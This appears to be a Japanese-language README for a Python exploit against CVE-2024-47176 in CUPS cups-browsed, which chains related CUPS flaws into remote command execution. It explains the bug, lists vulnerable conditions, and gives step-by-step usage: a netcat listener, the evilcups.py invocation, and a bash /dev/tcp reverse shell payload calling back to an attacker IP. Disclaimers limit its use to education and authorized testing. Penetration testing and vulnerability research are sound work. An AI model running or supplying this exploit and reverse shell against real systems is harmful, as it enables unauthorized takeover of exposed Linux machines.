
CVE-2024-47176 の Python エクスプロイト。細工された UDP パケットを介して CUPS cups-browsed でリモートコマンド実行を実現します。許可された侵入テスト用のリバースシェルペイロード配信を含みます。
教育および許可された侵入テスト目的のみに使用してください。
CUPS(Common UNIX Printing System)は、ネットワークプリンタを管理するオープンソースの印刷システムです。CVE-2024-47176は、INADDR_ANY:631にバインドし、任意のソースからのパケットを盲目的に信頼するcups-browsedデーモンを標的としています。
悪意のあるUDPパケットを作成してGet-Printer-Attributes IPPリクエストをトリガーすることにより、攻撃者はcups-browsedを攻撃者が制御するサーバーに接続させることができ、以下の脆弱性と組み合わせることで、任意のリモートコマンド実行を達成します。
| コンポーネント | 条件 |
|---|---|
cups-browsed | UDP 631で待受(デフォルト) |
| CUPS < 2.4.11 | 未パッチのバージョン |
| CUPSが公開されたLinuxシステム | 攻撃者からポート631に到達可能 |
nmap(オプション、偵察用)1. リポジトリをクローン:
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
2. 必要なPython依存関係をインストール:
pip install ippserver
3. マシン上でリスナーを起動:
nc -lvnp <PORT>
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"
例 — リバースシェル:
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
エクスプロイトを実行した後、対象マシンで印刷ジョブをトリガーする(または自動チェックを待つ)とペイロードが実行されます。
このリポジトリは教育目的および許可されたセキュリティ研究のためのみに提供されています。このツールを、自分が所有していない、または明示的な書面による許可を得ていないシステムに対して使用することは違法であり、非倫理的です。
| CVE | 説明 |
|---|
| CVE-2024-47176 | cups-browsedがポート631の任意のUDPパケットを信頼 |
| CVE-2024-47076 | libcupsfiltersがIPP属性をサニタイズしない |
| CVE-2024-47175 | libppdがサニタイズされていないデータをPPDファイルに注入 |
| CVE-2024-47177 | cups-filtersがPPDを介したコマンド実行を許容 |